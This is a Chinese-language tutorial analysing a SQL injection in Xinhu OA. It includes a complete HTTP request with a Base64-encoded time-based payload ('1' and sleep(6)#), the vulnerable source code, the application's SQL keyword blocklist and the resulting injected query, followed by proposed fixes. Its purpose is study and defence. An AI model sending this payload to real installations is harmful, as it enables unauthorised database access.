信呼 OA 最新 sql 注入分析
字数 1053 2025-08-22 12:23:06

信呼OA SQL注入漏洞分析与防御教学文档

漏洞概述

信呼OA系统存在一个SQL注入漏洞,攻击者可以通过精心构造的请求绕过系统的安全防护机制,执行恶意SQL语句。该漏洞属于逻辑绕过漏洞,利用了系统对Base64编码参数的特殊处理方式。

环境搭建

  1. 下载源码:https://github.com/rainrocka/xinhu
  2. 使用PHPstudy搭建环境
  3. 初始账号密码:admin/admin
  4. 首次登录后需强制修改密码

漏洞复现

攻击Payload

GET /api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDYpIw== HTTP/1.1
Host: xinhu:5348
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
X-Requested-With: XMLHttpRequest
Referer: http://xinhu:5348/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=920tmlvqknnacst79p9c5d3h66; deviceid=1735887216564; xinhu_mo_adminid=oo0ob0vv0bdd0bhb0kr0bhh0bbk0oo0gb0rd0bhx0oo0ro0oe0gr06; xinhu_ca_adminuser=admin; xinhu_ca_rempass=1; xinhu_ca_adminpass=oo0rx0oe0bdd0or0kr0rg0gh06
Connection: keep-alive

关键参数:

  • fname=MScgYW5kIHNsZWVwKDYpIw== (Base64解码后为1' and sleep(6)#)

漏洞分析

请求处理流程

  1. 请求路由:api.php根据ma参数路由到对应控制器方法
  2. 参数处理:
    • m=upload|api:表示先加载upload模块,然后调用api模块
    • a=getmfilv:调用getmfilvAction方法
    • d=task:目录参数
    • fileid=1:文件ID
    • fname:文件名参数(Base64编码)

关键代码分析

1. 参数获取流程

uploadAction.php中的getmfilvAction方法:

public function getmfilvAction() {
    $fileid = (int)$this->get('fileid','0');
    $frs = m('file')->getone($fileid);
    if(!$frs)return returnerror('不存在');
    
    $lujing = $frs['filepathout'];
    if(isempt($lujing)){
        $lujing = $frs['filepath'];
        if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');
    }
    
    $fileext = $frs['fileext'];
    $fname = $this->jm->base64decode($this->get('fname'));
    $fname = (isempt($fname)) ? $frs['filename'] : $fname.'.'.$fileext.'';
    
    $filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';
    $this->rock->createtxt($filepath, file_get_contents($lujing));
    
    $uarr = array(
        'filename' => $fname,
        'fileext' => $fileext,
        'filepath' => $filepath,
        'filesize' => filesize($filepath),
        'filesizecn' => $this->rock->formatsize(filesize($filepath)),
        'optid' => $this->adminid,
        'optname' => $this->adminname,
        'adddt' => $this->rock->now,
        'ip' => $this->rock->ip,
        'web' => $this->rock->web,
    );
    
    $uarr['id'] = m('file')->insert($uarr);
    return returnsuccess($uarr);
}

2. 安全防护机制

rockClass.php中的getjmuncode方法:

public function get($name,$dev='', $lx=0) {
    $val=$dev;
    if(isset($_GET[$name]))$val=$_GET[$name];
    if($this->isempt($val))$val=$dev;
    return $this->jmuncode($val, $lx, $name);
}

public function jmuncode($s, $lx=0, $na='') {
    $jmbo = false;$s = (string)$s;
    if($lx==3)$jmbo = $this->isjm($s);
    if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
        $s = str_replace('rockjm_','',$s);
        $s = $this->jm->uncrypt($s);
        if($lx==1){
            $jmbo = $this->isjm($s);
            if($jmbo)$s = $this->jm->uncrypt($s);
        }
    }
    if(substr($s, 0, 7)=='basejm_' || $lx==5){
        $s = str_replace('basejm_','',$s);
        $s = $this->jm->base64decode($s);
    }
    $s=str_replace('39',"'",$s);
    $s=str_replace('%20',' ',$s);
    if($lx==2)$s=str_replace(array('[H1]','[H2]'),array('<','>'),$s);
    
    $str = strtolower($s);
    foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
        $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
        $s = $this->lvlarrep($str, $v1);
        $str = $s;
    }
    
    $cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
    if(in_array($na, $cslv))$s = $this->xssrepstr($s);
    return $this->reteistrs($s);
}

黑名单定义(__construct方法中):

$this->lvlaras = explode(',','select , alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');

3. SQL执行流程

mysql.php中的record方法:

public function record($table,$array,$where='') {
    $addbool = true;
    if(!$this->isempt($where))$addbool=false;
    $cont = '';
    if(is_array($array)){
        foreach($array as $key=>$val){
            $cont.=",`$key`=".$this->toaddval($val)."";
        }
        $cont = substr($cont,1);
    }else{
        $cont = $array;
    }
    $table = $this->gettables($table);
    if($addbool){
        $sql="insert into $table set $cont";
    }else{
        $where = $this->getwhere($where);
        $sql="update $table set $cont where $where";
    }
    return $this->tranbegin($sql);
}

漏洞原理

  1. Base64编码绕过:系统对fname参数进行Base64解码,但安全检测是在解码前进行的,导致黑名单检测失效
  2. SQL拼接问题:解码后的恶意内容直接拼接到SQL语句中,没有进行适当的转义或参数化处理
  3. 黑名单不完善:即使检测到恶意内容,也只是替换而非阻断请求

最终生成的恶意SQL语句:

insert into `xinhu_file` set `filename`='1' and sleep(6)#.png',`fileext`='png',`filepath`='upload/2025-01/03_rocktpl5508_1.png',`filesize`='3970',`filesizecn`='3.88 KB',`optid`='1',`optname`='绠绠$悊悊鍛',`adddt`='2025-01-03 16:51:57',`ip`='127.0.0.1',`web`='Chrome'

防御方案

1. 输入验证改进

// 修改jmuncode方法,增加对解码后内容的检测
public function jmuncode($s, $lx=0, $na='') {
    // ...原有代码...
    
    // Base64解码后增加安全检测
    if(substr($s, 0, 7)=='basejm_' || $lx==5){
        $s = str_replace('basejm_','',$s);
        $s = $this->jm->base64decode($s);
        
        // 新增:对解码后的内容进行安全检测
        $tempStr = strtolower($s);
        foreach($this->lvlaras as $v1) {
            if($this->contain($tempStr, $v1)) {
                $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
                return ''; // 直接返回空值,而不是尝试替换
            }
        }
    }
    
    // ...原有代码...
}

2. 使用参数化查询

修改record方法,使用预处理语句:

public function record($table,$array,$where='') {
    $addbool = true;
    if(!$this->isempt($where))$addbool=false;
    
    $table = $this->gettables($table);
    
    if($addbool){
        // 使用预处理语句
        $keys = array();
        $values = array();
        $placeholders = array();
        
        foreach($array as $key=>$val){
            $keys[] = "`$key`";
            $placeholders[] = "?";
            $values[] = $this->toaddval($val);
        }
        
        $sql = "INSERT INTO $table (".implode(',', $keys).") VALUES (".implode(',', $placeholders).")";
        return $this->executePrepared($sql, $values);
    }else{
        $where = $this->getwhere($where);
        // 同样修改update部分...
    }
}

private function executePrepared($sql, $params) {
    $stmt = $this->link->prepare($sql);
    if(!$stmt) return false;
    
    $types = str_repeat('s', count($params));
    $stmt->bind_param($types, ...$params);
    $result = $stmt->execute();
    $stmt->close();
    
    return $result;
}

3. 增强黑名单机制

  1. 增加更多危险SQL关键词
  2. 对编码后的攻击特征进行检测
  3. 实现白名单验证机制,特别是对文件名等参数

4. 输出编码

对所有输出到数据库的内容进行适当的编码处理:

function toaddval($val) {
    if(is_array($val) || is_object($val))$val = json_encode($val);
    if(is_bool($val))$val = $val ? '1' : '0';
    if(is_null($val))$val = '';
    
    // 增加对字符串的严格过滤
    if(is_string($val)) {
        $val = $this->link->real_escape_string($val);
        $val = "'".$val."'";
    }
    return $val;
}

总结

该漏洞的根本原因是:

  1. 安全检测与参数处理的顺序不当(先检测后解码)
  2. 依赖黑名单而非白名单或参数化查询
  3. 对用户输入过度信任,缺乏深度防御

完整修复需要:

  1. 调整安全检测顺序
  2. 实现参数化查询
  3. 增强输入验证
  4. 实施输出编码
  5. 考虑使用ORM框架替代直接SQL操作
信呼OA SQL注入漏洞分析与防御教学文档 漏洞概述 信呼OA系统存在一个SQL注入漏洞,攻击者可以通过精心构造的请求绕过系统的安全防护机制,执行恶意SQL语句。该漏洞属于逻辑绕过漏洞,利用了系统对Base64编码参数的特殊处理方式。 环境搭建 下载源码: https://github.com/rainrocka/xinhu 使用PHPstudy搭建环境 初始账号密码:admin/admin 首次登录后需强制修改密码 漏洞复现 攻击Payload 关键参数: fname=MScgYW5kIHNsZWVwKDYpIw== (Base64解码后为 1' and sleep(6)# ) 漏洞分析 请求处理流程 请求路由: api.php 根据 m 和 a 参数路由到对应控制器方法 参数处理: m=upload|api :表示先加载upload模块,然后调用api模块 a=getmfilv :调用 getmfilvAction 方法 d=task :目录参数 fileid=1 :文件ID fname :文件名参数(Base64编码) 关键代码分析 1. 参数获取流程 uploadAction.php 中的 getmfilvAction 方法: 2. 安全防护机制 rockClass.php 中的 get 和 jmuncode 方法: 黑名单定义( __construct 方法中): 3. SQL执行流程 mysql.php 中的 record 方法: 漏洞原理 Base64编码绕过 :系统对 fname 参数进行Base64解码,但安全检测是在解码前进行的,导致黑名单检测失效 SQL拼接问题 :解码后的恶意内容直接拼接到SQL语句中,没有进行适当的转义或参数化处理 黑名单不完善 :即使检测到恶意内容,也只是替换而非阻断请求 最终生成的恶意SQL语句: 防御方案 1. 输入验证改进 2. 使用参数化查询 修改 record 方法,使用预处理语句: 3. 增强黑名单机制 增加更多危险SQL关键词 对编码后的攻击特征进行检测 实现白名单验证机制,特别是对文件名等参数 4. 输出编码 对所有输出到数据库的内容进行适当的编码处理: 总结 该漏洞的根本原因是: 安全检测与参数处理的顺序不当(先检测后解码) 依赖黑名单而非白名单或参数化查询 对用户输入过度信任,缺乏深度防御 完整修复需要: 调整安全检测顺序 实现参数化查询 增强输入验证 实施输出编码 考虑使用ORM框架替代直接SQL操作